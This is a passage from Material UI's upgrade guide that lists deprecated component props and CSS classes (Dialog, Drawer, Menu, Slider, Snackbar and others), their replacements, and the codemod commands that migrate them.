{ opacity: 0.9 },\n-        avatarColorPrimary: { color: 'white' },\n-        iconSmall: { fontSize: 14 },\n-        deleteIconColorPrimary: { color: 'red' },\n-        labelSmall: { padding: '0 6px' },\n+        root: {\n+          variants: [\n+            { props: { clickable: true, color: 'primary' }, style: { boxShadow: 'none' } },\n+            { props: { variant: 'outlined', color: 'primary' }, style: { borderWidth: 2 } },\n+            { props: { variant: 'filled', color: 'secondary' }, style: { opacity: 0.9 } },\n+            { props: { color: 'primary' }, style: { '& .MuiChip-avatar': { color: 'white' } } },\n+            { props: { size: 'small' }, style: { '& .MuiChip-icon': { fontSize: 14 } } },\n+            { props: { color: 'primary' }, style: { '& .MuiChip-deleteIcon': { color: 'red' } } },\n+          ],\n+        },\n+        label: {\n+          variants: [\n+            { props: { size: 'small' }, style: { padding: '0 6px' } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### CircularProgress CSS classes\n\nUse the [circular-progress-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#circular-progress-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/circular-progress-classes <path>\n```\n\nThe following deprecated `CircularProgress` CSS classes have been removed:\n\n- `circleDeterminate` → use `.MuiCircularProgress-determinate .MuiCircularProgress-circle`\n- `circleIndeterminate` → use `.MuiCircularProgress-indeterminate .MuiCircularProgress-circle`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `circle` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiCircularProgress: {\n       styleOverrides: {\n-        circleDeterminate: { strokeDashoffset: '10px' },\n-        circleIndeterminate: { animationDuration: '1.4s' },\n+        circle: {\n+          variants: [\n+            {\n+              props: { variant: 'determinate' },\n+              style: { strokeDashoffset: '10px' },\n+            },\n+            {\n+              props: { variant: 'indeterminate' },\n+              style: { animationDuration: '1.4s' },\n+            },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### Dialog CSS classes\n\nUse the [dialog-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#dialog-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/dialog-classes <path>\n```\n\nThe following deprecated `Dialog` CSS classes have been removed:\n\n- `paperScrollPaper` → use `.MuiDialog-scrollPaper > .MuiDialog-paper`\n- `paperScrollBody` → use `.MuiDialog-scrollBody > .MuiDialog-paper`\n\nIf you were using these classes in `styleOverrides`, use the `variants` array in the `paper` slot instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiDialog: {\n       styleOverrides: {\n-        paperScrollPaper: {\n-          maxHeight: '80vh',\n-        },\n-        paperScrollBody: {\n-          verticalAlign: 'bottom',\n-        },\n+        paper: {\n+          variants: [\n+            {\n+              props: { scroll: 'paper' },\n+              style: {\n+                maxHeight: '80vh',\n+              },\n+            },\n+            {\n+              props: { scroll: 'body' },\n+              style: {\n+                verticalAlign: 'bottom',\n+              },\n+            },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### Dialog props\n\nUse the [dialog-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#dialog-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/dialog-props <path>\n```\n\nThe following deprecated props have been removed from the `Dialog` component:\n\n- `BackdropComponent` → use `slots.backdrop`\n- `BackdropProps` → use `slotProps.backdrop`\n- `PaperProps` → use `slotProps.paper`\n- `TransitionComponent` → use `slots.transition`\n- `TransitionProps` → use `slotProps.transition`\n\n```diff\n <Dialog\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ invisible: true }}\n-  PaperProps={{ elevation: 3 }}\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ timeout: 500 }}\n+  slots={{ backdrop: CustomBackdrop, transition: CustomTransition }}\n+  slotProps={{ backdrop: { invisible: true }, paper: { elevation: 3 }, transition: { timeout: 500 } }}\n />\n```\n\n### Drawer props\n\nUse the [drawer-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-props <path>\n```\n\nThe following deprecated props have been removed from the `Drawer` component:\n\n- `BackdropComponent` → use `slots.backdrop`\n- `BackdropProps` → use `slotProps.backdrop`\n- `PaperProps` → use `slotProps.paper`\n- `SlideProps` → use `slotProps.transition`\n- `TransitionComponent` → use `slots.transition`\n\n```diff\n <Drawer\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ invisible: true }}\n-  PaperProps={{ elevation: 2 }}\n-  SlideProps={{ timeout: 500 }}\n-  TransitionComponent={CustomTransition}\n+  slots={{ backdrop: CustomBackdrop, transition: CustomTransition }}\n+  slotProps={{ backdrop: { invisible: true }, paper: { elevation: 2 }, transition: { timeout: 500 } }}\n />\n```\n\n### Drawer CSS classes\n\nUse the [drawer-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#drawer-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/drawer-classes <path>\n```\n\nThe following deprecated classes have been removed:\n\n- `paperAnchorLeft` — combine `.MuiDrawer-anchorLeft` and `.MuiDrawer-paper` instead\n- `paperAnchorRight` — combine `.MuiDrawer-anchorRight` and `.MuiDrawer-paper` instead\n- `paperAnchorTop` — combine `.MuiDrawer-anchorTop` and `.MuiDrawer-paper` instead\n- `paperAnchorBottom` — combine `.MuiDrawer-anchorBottom` and `.MuiDrawer-paper` instead\n- `paperAnchorDockedLeft` — combine `.MuiDrawer-anchorLeft`, `.MuiDrawer-docked`, and `.MuiDrawer-paper` instead\n- `paperAnchorDockedRight` — combine `.MuiDrawer-anchorRight`, `.MuiDrawer-docked`, and `.MuiDrawer-paper` instead\n- `paperAnchorDockedTop` — combine `.MuiDrawer-anchorTop`, `.MuiDrawer-docked`, and `.MuiDrawer-paper` instead\n- `paperAnchorDockedBottom` — combine `.MuiDrawer-anchorBottom`, `.MuiDrawer-docked`, and `.MuiDrawer-paper` instead\n\n```diff\n-.MuiDrawer-paperAnchorLeft\n+.MuiDrawer-anchorLeft > .MuiDrawer-paper\n\n-.MuiDrawer-paperAnchorDockedLeft\n+.MuiDrawer-anchorLeft.MuiDrawer-docked > .MuiDrawer-paper\n```\n\n### Divider props\n\nUse the [codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#divider-props) below to migrate the code as described in the following sections:\n\n```bash\nnpx @mui/codemod@latest deprecations/divider-props <path>\n```\n\nThe deprecated `Divider` prop have been removed.\nUse `sx={{ opacity : \"0.6\" }}` (or any opacity):\n\n```diff\n <Divider\n-  light\n+  sx={{ opacity: 0.6 }}\n />\n```\n\n### Divider CSS classes\n\nThe following deprecated class has been removed:\n\n- `withChildrenVertical` — combine the `.MuiDivider-withChildren` and `.MuiDivider-vertical` classes instead\n\n```diff\n-.MuiDivider-withChildrenVertical\n+.MuiDivider-withChildren.MuiDivider-vertical\n```\n\n### FormControlLabel props\n\nUse the [form-control-label-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#form-control-label-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/form-control-label-props <path>\n```\n\nThe following deprecated prop has been removed:\n\n- `componentsProps` — use `slotProps` instead\n\n```diff\n <FormControlLabel\n-  componentsProps={{ typography: { fontWeight: 'bold' } }}\n+  slotProps={{ typography: { fontWeight: 'bold' } }}\n />\n```\n\n### FilledInput props\n\nUse the [filled-input-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#filled-input-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/filled-input-props <path>\n```\n\nThe following deprecated `FilledInput` props have been removed:\n\n- `components` → use `slots` instead\n- `componentsProps` → use `slotProps` instead\n\n```diff\n <FilledInput\n-  components={{ Root: CustomRoot, Input: CustomInput }}\n-  componentsProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n+  slots={{ root: CustomRoot, input: CustomInput }}\n+  slotProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n />\n```\n\n### ImageListItemBar CSS classes\n\nUse the [image-list-item-bar-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#image-list-item-bar-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/image-list-item-bar-classes <path>\n```\n\nThe following deprecated `ImageListItemBar` CSS classes have been removed:\n\n- `titleWrapBelow` → use `.MuiImageListItemBar-titleWrap` with `.MuiImageListItemBar-positionBelow` on the root\n- `titleWrapActionPosLeft` → use `.MuiImageListItemBar-titleWrap` with `.MuiImageListItemBar-actionPositionLeft` on the root\n- `titleWrapActionPosRight` → use `.MuiImageListItemBar-titleWrap` with `.MuiImageListItemBar-actionPositionRight` on the root\n- `actionIconActionPosLeft` → use `.MuiImageListItemBar-actionIcon` with `.MuiImageListItemBar-actionPositionLeft` on the root\n\n### Input props\n\nUse the [input-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/input-props <path>\n```\n\nThe following deprecated `Input` props have been removed:\n\n- `components` → use `slots` instead\n- `componentsProps` → use `slotProps` instead\n\n```diff\n <Input\n-  components={{ Root: CustomRoot, Input: CustomInput }}\n-  componentsProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n+  slots={{ root: CustomRoot, input: CustomInput }}\n+  slotProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n />\n```\n\n### InputBase CSS classes\n\nUse the [input-base-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-base-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/input-base-classes <path>\n```\n\nThe following deprecated `InputBase` CSS classes have been removed:\n\n- `inputSizeSmall` → use `.MuiInputBase-sizeSmall > .MuiInputBase-input`\n- `inputMultiline` → use `.MuiInputBase-multiline > .MuiInputBase-input`\n- `inputAdornedStart` → use `.MuiInputBase-adornedStart > .MuiInputBase-input`\n- `inputAdornedEnd` → use `.MuiInputBase-adornedEnd > .MuiInputBase-input`\n- `inputHiddenLabel` → use `.MuiInputBase-hiddenLabel > .MuiInputBase-input`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `root` slot with combined class selectors instead:\n\n```diff\n import { inputBaseClasses } from '@mui/material/InputBase';\n\n const theme = createTheme({\n   components: {\n     MuiInputBase: {\n       styleOverrides: {\n-        inputSizeSmall: { padding: 1 },\n-        inputMultiline: { resize: 'none' },\n-        inputAdornedStart: { paddingLeft: 0 },\n-        inputAdornedEnd: { paddingRight: 0 },\n-        inputHiddenLabel: { paddingTop: 8 },\n+        root: {\n+          [`&.${inputBaseClasses.sizeSmall} > .${inputBaseClasses.input}`]: { padding: 1 },\n+          [`&.${inputBaseClasses.multiline} > .${inputBaseClasses.input}`]: { resize: 'none' },\n+          [`&.${inputBaseClasses.adornedStart} > .${inputBaseClasses.input}`]: { paddingLeft: 0 },\n+          [`&.${inputBaseClasses.adornedEnd} > .${inputBaseClasses.input}`]: { paddingRight: 0 },\n+          [`&.${inputBaseClasses.hiddenLabel} > .${inputBaseClasses.input}`]: { paddingTop: 8 },\n+        },\n       },\n     },\n   },\n });\n```\n\n### InputBase props\n\nUse the [input-base-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#input-base-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/input-base-props <path>\n```\n\nThe following deprecated `InputBase` props have been removed:\n\n- `components` → use `slots` instead\n- `componentsProps` → use `slotProps` instead\n\n```diff\n <InputBase\n-  components={{ Root: CustomRoot, Input: CustomInput }}\n-  componentsProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n+  slots={{ root: CustomRoot, input: CustomInput }}\n+  slotProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n />\n```\n\n### LinearProgress CSS classes\n\nUse the [linear-progress-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#linear-progress-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/linear-progress-classes <path>\n```\n\nThe following deprecated `LinearProgress` CSS classes have been removed:\n\n- `bar1Buffer` → use `.MuiLinearProgress-buffer > .MuiLinearProgress-bar1`\n- `bar1Determinate` → use `.MuiLinearProgress-determinate > .MuiLinearProgress-bar1`\n- `bar1Indeterminate` → use `.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar1`\n- `bar2Buffer` → use `.MuiLinearProgress-buffer > .MuiLinearProgress-bar2`\n- `bar2Indeterminate` → use `.MuiLinearProgress-indeterminate > .MuiLinearProgress-bar2`\n- `barColorPrimary` → use `.MuiLinearProgress-colorPrimary > .MuiLinearProgress-bar`\n- `barColorSecondary` → use `.MuiLinearProgress-colorSecondary > .MuiLinearProgress-bar`\n- `dashedColorPrimary` → use `.MuiLinearProgress-colorPrimary > .MuiLinearProgress-dashed`\n- `dashedColorSecondary` → use `.MuiLinearProgress-colorSecondary > .MuiLinearProgress-dashed`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the appropriate slot override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiLinearProgress: {\n       styleOverrides: {\n-        bar1Determinate: { transition: 'none' },\n-        bar1Indeterminate: { width: 'auto' },\n-        bar1Buffer: { zIndex: 1 },\n-        barColorPrimary: { backgroundColor: 'red' },\n-        dashedColorPrimary: { backgroundSize: '10px 10px' },\n+        bar1: {\n+          variants: [\n+            { props: { variant: 'determinate' }, style: { transition: 'none' } },\n+            { props: { variant: 'indeterminate' }, style: { width: 'auto' } },\n+            { props: { variant: 'buffer' }, style: { zIndex: 1 } },\n+          ],\n+        },\n+        bar: {\n+          variants: [\n+            { props: { color: 'primary' }, style: { backgroundColor: 'red' } },\n+          ],\n+        },\n+        dashed: {\n+          variants: [\n+            { props: { color: 'primary' }, style: { backgroundSize: '10px 10px' } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### ListItem props\n\nUse the [list-item-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#list-item-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/list-item-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `components` — use `slots` instead\n- `componentsProps` — use `slotProps` instead\n- `ContainerComponent` — use `component` or `slots.root` instead\n- `ContainerProps` — use `slotProps.root` instead\n\n```diff\n <ListItem\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { className: 'custom' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { className: 'custom' } }}\n />\n```\n\nThe theming `styleOverrides` key `secondaryAction` now targets the `secondaryAction` slot instead of the root slot.\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiListItem: {\n       styleOverrides: {\n-        secondaryAction: {\n-          [`& .${listItemClasses.secondaryAction}`]: {\n-            // styles\n-          },\n-        },\n+        secondaryAction: {\n+          // styles applied directly to the secondaryAction slot\n+        },\n       },\n     },\n   },\n });\n```\n\n### ListItemText props\n\nUse the [list-item-text-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#list-item-text-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/list-item-text-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `primaryTypographyProps` — use `slotProps.primary` instead\n- `secondaryTypographyProps` — use `slotProps.secondary` instead\n\n```diff\n <ListItemText\n-  primaryTypographyProps={{ variant: 'h6' }}\n-  secondaryTypographyProps={{ color: 'textSecondary' }}\n+  slotProps={{\n+    primary: { variant: 'h6' },\n+    secondary: { color: 'textSecondary' },\n+  }}\n />\n```\n\n### Menu props\n\nUse the [menu-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#menu-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/menu-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `MenuListProps` — use `slotProps.list` instead\n- `PaperProps` — use `slotProps.paper` instead\n- `TransitionProps` — use `slotProps.transition` instead\n\n```diff\n <Menu\n-  MenuListProps={{ disablePadding: true }}\n-  PaperProps={{ elevation: 12 }}\n-  TransitionProps={{ timeout: 500 }}\n+  slotProps={{\n+    list: { disablePadding: true },\n+    paper: { elevation: 12 },\n+    transition: { timeout: 500 },\n+  }}\n />\n```\n\nIf you pass these props via `Select`'s `MenuProps`, update them the same way:\n\n```diff\n <Select\n   MenuProps={{\n-    PaperProps: { style: { maxHeight: 200 } },\n-    MenuListProps: { disablePadding: true },\n-    TransitionProps: { timeout: 500 },\n+    slotProps: {\n+      paper: { style: { maxHeight: 200 } },\n+      list: { disablePadding: true },\n+      transition: { timeout: 500 },\n+    },\n   }}\n />\n```\n\n### MobileStepper props\n\nUse the [mobile-stepper-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#mobile-stepper-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/mobile-stepper-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `LinearProgressProps` — use `slotProps.progress` instead\n\n```diff\n <MobileStepper\n-  LinearProgressProps={{ className: 'progress' }}\n+  slotProps={{ progress: { className: 'progress' } }}\n />\n```\n\n### Modal props\n\nUse the [modal-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#modal-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/modal-props <path>\n```\n\nThe following deprecated props have been removed from the `Modal` component:\n\n- `BackdropComponent` → use `slots.backdrop`\n- `BackdropProps` → use `slotProps.backdrop`\n- `components` → use `slots`\n- `componentsProps` → use `slotProps`\n\n```diff\n <Modal\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ invisible: true }}\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { className: 'custom' } }}\n+  slots={{ backdrop: CustomBackdrop, root: CustomRoot }}\n+  slotProps={{ backdrop: { invisible: true }, root: { className: 'custom' } }}\n />\n```\n\n### OutlinedInput props\n\nUse the [outlined-input-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#outlined-input-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/outlined-input-props <path>\n```\n\nThe following deprecated `OutlinedInput` props have been removed:\n\n- `components` → use `slots` instead\n- `componentsProps` → use `slotProps` instead\n\n```diff\n <OutlinedInput\n-  components={{ Root: CustomRoot, Input: CustomInput }}\n-  componentsProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n+  slots={{ root: CustomRoot, input: CustomInput }}\n+  slotProps={{ root: { id: 'root' }, input: { id: 'input' } }}\n />\n```\n\n### PaginationItem props\n\nUse the [pagination-item-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#pagination-item-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/pagination-item-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `components` — use `slots` instead\n\n```diff\n <PaginationItem\n-  components={{\n-    first: MyFirstIcon,\n-    last: MyLastIcon,\n-    previous: MyPreviousIcon,\n-    next: MyNextIcon,\n-  }}\n+  slots={{\n+    first: MyFirstIcon,\n+    last: MyLastIcon,\n+    previous: MyPreviousIcon,\n+    next: MyNextIcon,\n+  }}\n />\n```\n\n### PaginationItem CSS classes\n\nUse the [pagination-item-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#pagination-item-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/pagination-item-classes <path>\n```\n\nThe following deprecated classes have been removed:\n\n- `textPrimary` — combine the `.MuiPaginationItem-text` and `.MuiPaginationItem-colorPrimary` classes instead\n- `textSecondary` — combine the `.MuiPaginationItem-text` and `.MuiPaginationItem-colorSecondary` classes instead\n- `outlinedPrimary` — combine the `.MuiPaginationItem-outlined` and `.MuiPaginationItem-colorPrimary` classes instead\n- `outlinedSecondary` — combine the `.MuiPaginationItem-outlined` and `.MuiPaginationItem-colorSecondary` classes instead\n\n```diff\n-.MuiPaginationItem-textPrimary\n+.MuiPaginationItem-text.MuiPaginationItem-colorPrimary\n\n-.MuiPaginationItem-outlinedPrimary\n+.MuiPaginationItem-outlined.MuiPaginationItem-colorPrimary\n```\n\n### Popper props\n\nUse the [popper-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#popper-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/popper-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `components` — use `slots` instead\n- `componentsProps` — use `slotProps` instead\n\n```diff\n <Popper\n-  components={{ Root: CustomRoot }}\n-  componentsProps={{ root: { className: 'custom' } }}\n+  slots={{ root: CustomRoot }}\n+  slotProps={{ root: { className: 'custom' } }}\n />\n```\n\n### Popover props\n\nUse the [popover-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#popover-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/popover-props <path>\n```\n\nThe following deprecated props have been removed:\n\n- `BackdropComponent` — use `slots.backdrop` instead\n- `BackdropProps` — use `slotProps.backdrop` instead\n- `PaperProps` — use `slotProps.paper` instead\n- `TransitionComponent` — use `slots.transition` instead\n- `TransitionProps` — use `slotProps.transition` instead\n\n```diff\n <Popover\n-  BackdropComponent={CustomBackdrop}\n-  BackdropProps={{ invisible: true }}\n-  PaperProps={{ elevation: 12 }}\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ timeout: 500 }}\n+  slots={{ backdrop: CustomBackdrop, transition: CustomTransition }}\n+  slotProps={{\n+    backdrop: { invisible: true },\n+    paper: { elevation: 12 },\n+    transition: { timeout: 500 },\n+  }}\n />\n```\n\n### Radio props\n\nUse the [radio-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#radio-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/radio-props <path>\n```\n\nThe following deprecated `Radio` props have been removed:\n\n- `inputProps` — use `slotProps.input` instead\n- `inputRef` — use `slotProps.input.ref` instead\n\n```diff\n <Radio\n-  inputProps={{ 'aria-label': 'Radio' }}\n-  inputRef={ref}\n+  slotProps={{ input: { 'aria-label': 'Radio', ref } }}\n />\n```\n\n### Rating props\n\nUse the [rating-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#rating-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/rating-props <path>\n```\n\nThe following deprecated prop has been removed:\n\n- `IconContainerComponent` — use `slotProps.icon.component` instead\n\n```diff\n <Rating\n-  IconContainerComponent={CustomIconContainer}\n+  slotProps={{ icon: { component: CustomIconContainer } }}\n />\n```\n\n### Select CSS classes\n\nUse the [select-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#select-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/select-classes <path>\n```\n\nThe following deprecated `Select` CSS classes have been removed:\n\n- `iconFilled` → use `.MuiSelect-filled ~ .MuiSelect-icon`\n- `iconOutlined` → use `.MuiSelect-outlined ~ .MuiSelect-icon`\n- `iconStandard` → use `.MuiSelect-standard ~ .MuiSelect-icon`\n\nIf you were using these deprecated class names as `styleOverrides` in your theme, use sibling selectors in the `root` override instead:\n\n```diff\n import { selectClasses } from '@mui/material/Select';\n\n const theme = createTheme({\n   components: {\n     MuiSelect: {\n       styleOverrides: {\n         root: {\n-          [`& .${selectClasses.iconFilled}`]: {\n+          [`& .${selectClasses.filled} ~ .${selectClasses.icon}`]: {\n             color: 'red',\n           },\n-          [`& .${selectClasses.iconOutlined}`]: {\n+          [`& .${selectClasses.outlined} ~ .${selectClasses.icon}`]: {\n             color: 'red',\n           },\n-          [`& .${selectClasses.iconStandard}`]: {\n+          [`& .${selectClasses.standard} ~ .${selectClasses.icon}`]: {\n             color: 'red',\n           },\n         },\n       },\n     },\n   },\n });\n```\n\n### Slider props\n\nUse the [slider-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#slider-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/slider-props <path>\n```\n\nThe following deprecated props have been removed from the `Slider` component:\n\n- `components` — use `slots` instead\n- `componentsProps` — use `slotProps` instead\n\n```diff\n <Slider\n-  components={{ Track: CustomTrack }}\n-  componentsProps={{ track: { testid: 'test-id' } }}\n+  slots={{ track: CustomTrack }}\n+  slotProps={{ track: { testid: 'test-id' } }}\n />\n```\n\n### Slider CSS classes\n\nUse the [slider-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#slider-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/slider-classes <path>\n```\n\nThe following deprecated classes have been removed:\n\n- `thumbColorPrimary` — use `.MuiSlider-colorPrimary > .MuiSlider-thumb` instead\n- `thumbColorSecondary` — use `.MuiSlider-colorSecondary > .MuiSlider-thumb` instead\n- `thumbColorError` — use `.MuiSlider-colorError > .MuiSlider-thumb` instead\n- `thumbColorInfo` — use `.MuiSlider-colorInfo > .MuiSlider-thumb` instead\n- `thumbColorSuccess` — use `.MuiSlider-colorSuccess > .MuiSlider-thumb` instead\n- `thumbColorWarning` — use `.MuiSlider-colorWarning > .MuiSlider-thumb` instead\n- `thumbSizeSmall` — use `.MuiSlider-sizeSmall > .MuiSlider-thumb` instead\n\n```diff\n-.MuiSlider-thumbColorPrimary\n+.MuiSlider-colorPrimary > .MuiSlider-thumb\n\n-.MuiSlider-thumbColorSecondary\n+.MuiSlider-colorSecondary > .MuiSlider-thumb\n\n-.MuiSlider-thumbSizeSmall\n+.MuiSlider-sizeSmall > .MuiSlider-thumb\n```\n\n### Snackbar props\n\nUse the [snackbar-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#snackbar-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/snackbar-props <path>\n```\n\nThe following deprecated `Snackbar` props have been removed:\n\n- `ClickAwayListenerProps` — use `slotProps.clickAwayListener` instead\n- `ContentProps` — use `slotProps.content` instead\n- `TransitionComponent` — use `slots.transition` instead\n- `TransitionProps` — use `slotProps.transition` instead\n\n```diff\n <Snackbar\n-  ClickAwayListenerProps={CustomClickAwayListenerProps}\n-  ContentProps={CustomContentProps}\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={CustomTransitionProps}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{\n+    clickAwayListener: CustomClickAwayListenerProps,\n+    content: CustomContentProps,\n+    transition: CustomTransitionProps,\n+  }}\n />\n```\n\n### StepConnector CSS classes\n\nUse the [step-connector-classes codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-connector-classes) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-connector-classes <path>\n```\n\nThe following deprecated `StepConnector` CSS classes have been removed:\n\n- `lineHorizontal` → use `.MuiStepConnector-horizontal .MuiStepConnector-line`\n- `lineVertical` → use `.MuiStepConnector-vertical .MuiStepConnector-line`\n\nIf you were using these deprecated class names as `styleOverrides` keys in your theme, use the `variants` array in the `line` override instead:\n\n```diff\n const theme = createTheme({\n   components: {\n     MuiStepConnector: {\n       styleOverrides: {\n-        lineHorizontal: { borderTopWidth: 3 },\n-        lineVertical: { borderLeftWidth: 3 },\n+        line: {\n+          variants: [\n+            { props: { orientation: 'horizontal' }, style: { borderTopWidth: 3 } },\n+            { props: { orientation: 'vertical' }, style: { borderLeftWidth: 3 } },\n+          ],\n+        },\n       },\n     },\n   },\n });\n```\n\n### StepContent props\n\nUse the [step-content-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-content-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-content-props <path>\n```\n\nThe following deprecated `StepContent` props have been removed:\n\n- `TransitionComponent` → use `slots.transition` instead\n- `TransitionProps` → use `slotProps.transition` instead\n\n```diff\n <StepContent\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ unmountOnExit: true }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { unmountOnExit: true } }}\n />\n```\n\n### StepLabel props\n\nUse the [step-label-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#step-label-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/step-label-props <path>\n```\n\nThe following deprecated `StepLabel` props have been removed:\n\n- `componentsProps` → use `slotProps` instead\n- `StepIconComponent` → use `slots.stepIcon` instead\n- `StepIconProps` → use `slotProps.stepIcon` instead\n\n```diff\n <StepLabel\n-  StepIconComponent={CustomIcon}\n-  StepIconProps={{ error: true }}\n-  componentsProps={{ label: { className: 'my-label' } }}\n+  slots={{ stepIcon: CustomIcon }}\n+  slotProps={{ stepIcon: { error: true }, label: { className: 'my-label' } }}\n />\n```\n\n### SpeedDial props\n\nUse the [speed-dial-props codemod](https://github.com/mui/material-ui/tree/HEAD/packages/mui-codemod#speed-dial-props) below to migrate the code as described in the following section:\n\n```bash\nnpx @mui/codemod@latest deprecations/speed-dial-props <path>\n```\n\nThe deprecated `SpeedDial` props have been removed.\nUse the `slots` and `slotProps` props instead:\n\n```diff\n <SpeedDial\n-  TransitionComponent={CustomTransition}\n-  TransitionProps={{ timeout: 500 }}\n+  slots={{ transition: CustomTransition }}\n+  slotProps={{ transition: { timeout: 500 } }}\n >\n```\n\n### 